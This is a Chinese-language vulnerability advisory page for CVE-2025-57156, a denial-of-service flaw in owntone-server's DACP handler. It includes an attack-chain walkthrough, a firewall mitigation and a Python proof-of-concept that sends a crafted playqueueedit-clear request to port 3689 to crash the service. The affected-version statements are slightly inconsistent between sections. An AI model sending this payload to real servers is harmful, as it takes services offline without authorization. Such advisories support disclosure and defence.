IPBUF安全漏洞报告
English
CVE-2025-57156 CVSS 7.5 高危

CVE-2025-57156 owntone-server空指针解引用拒绝服务漏洞

披露日期: 2026-01-20

漏洞信息

漏洞编号
CVE-2025-57156
漏洞类型
空指针解引用
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
owntone-server

相关标签

空指针解引用拒绝服务owntone-serverDACP协议远程攻击无需认证CVE-2025-57156

漏洞概述

CVE-2025-57156是owntone-server项目中的一个高危安全漏洞,存在于dacp_reply_playqueueedit_clear函数中。该函数位于src/httpd_dacp.c源文件中,当处理特定的DACP协议请求时,由于缺少适当的空指针检查,可能导致空指针解引用错误。攻击者可以通过构造恶意的DACP请求消息,无需任何认证即可触发此漏洞。成功利用此漏洞将导致owntone-server服务崩溃,造成音乐播放队列管理功能不可用,从而实现拒绝服务攻击。由于CVSS评分达到7.5且攻击向量为网络级别,远程攻击者可以在无需用户交互和认证的情况下发起攻击,对服务的可用性造成严重影响。此漏洞影响owntone-server 28.12及之前版本,以及通过commit 6d604a1之前的版本。

技术细节

该漏洞发生在owntone-server的DACP(DAAP Control Protocol)协议处理模块中。具体来说,dacp_reply_playqueueedit_clear函数在src/httpd_dacp.c文件中的实现存在缺陷。当函数处理来自客户端的playqueueedit_clear请求时,如果相关的播放队列状态对象未被正确初始化或已被释放,函数将尝试访问该对象的成员变量,从而触发空指针解引用。在C语言中,空指针解引用通常会导致程序崩溃(SIGSEGV信号),这是因为程序试图读取或写入一个无效的内存地址。攻击者可以通过发送精心构造的DACP请求消息到owntone-server的HTTP服务端口(默认为3689),触发dacp_reply_playqueueedit_clear函数中的这一缺陷。由于HTTP服务通常对外网开放,攻击者可以直接发送恶意请求而无需任何身份验证。修复此漏洞需要在函数执行前添加对相关指针的有效性检查,确保在访问对象成员前验证指针非空。

攻击链分析

STEP 1
步骤1
攻击者识别运行owntone-server的目标服务器,该服务默认监听3689端口
STEP 2
步骤2
攻击者构造恶意的DACP playqueueedit-clear请求消息,发送到目标服务器的HTTP接口
STEP 3
步骤3
owntone-server的httpd模块接收请求并调用dacp_reply_playqueueedit_clear函数处理
STEP 4
步骤4
dacp_reply_playqueueedit_clear函数在访问播放队列对象时,由于对象未初始化或已被释放,导致空指针解引用
STEP 5
步骤5
程序触发SIGSEGV信号并崩溃,owntone-server服务中断,无法提供音乐播放和队列管理功能

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-57156 PoC - owntone-server NULL pointer dereference This PoC triggers the NULL pointer dereference in dacp_reply_playqueueedit_clear """ import socket import sys def send_dacp_request(host, port, request): """Send DACP request to owntone-server""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((host, port)) sock.send(request.encode('utf-8')) response = sock.recv(4096) sock.close() return response except Exception as e: print(f"[-] Error: {e}") return None def create_malicious_dacp_request(): """Create malicious DACP playqueueedit_clear request""" request = ( "GET /playqueueedit-clear HTTP/1.1\r\n" "Host: owntone-server\r\n" "Active-Remote: 12345678\r\n" "Content-Type: application/x-www-form-urlencoded\r\n" "Connection: close\r\n\r\n" ) return request def main(): host = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1" port = int(sys.argv[2]) if len(sys.argv) > 2 else 3689 print(f"[*] CVE-2025-57156 PoC for owntone-server") print(f"[*] Target: {host}:{port}") malicious_request = create_malicious_dacp_request() print(f"[*] Sending malicious DACP request...") response = send_dacp_request(host, port, malicious_request) if response: print(f"[+] Response received: {response.decode('utf-8', errors='ignore')}") else: print(f"[!] No response or connection failed - service may have crashed") if __name__ == "__main__": main()

影响范围

owntone-server < 28.12
owntone-server commit < 6d604a1

防御指南

临时缓解措施
如果无法立即升级,可以使用防火墙限制对owntone-server 3689端口的访问,只允许受信任的IP地址连接。同时可以配置服务监控,当服务崩溃时自动重启以减少停机时间。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表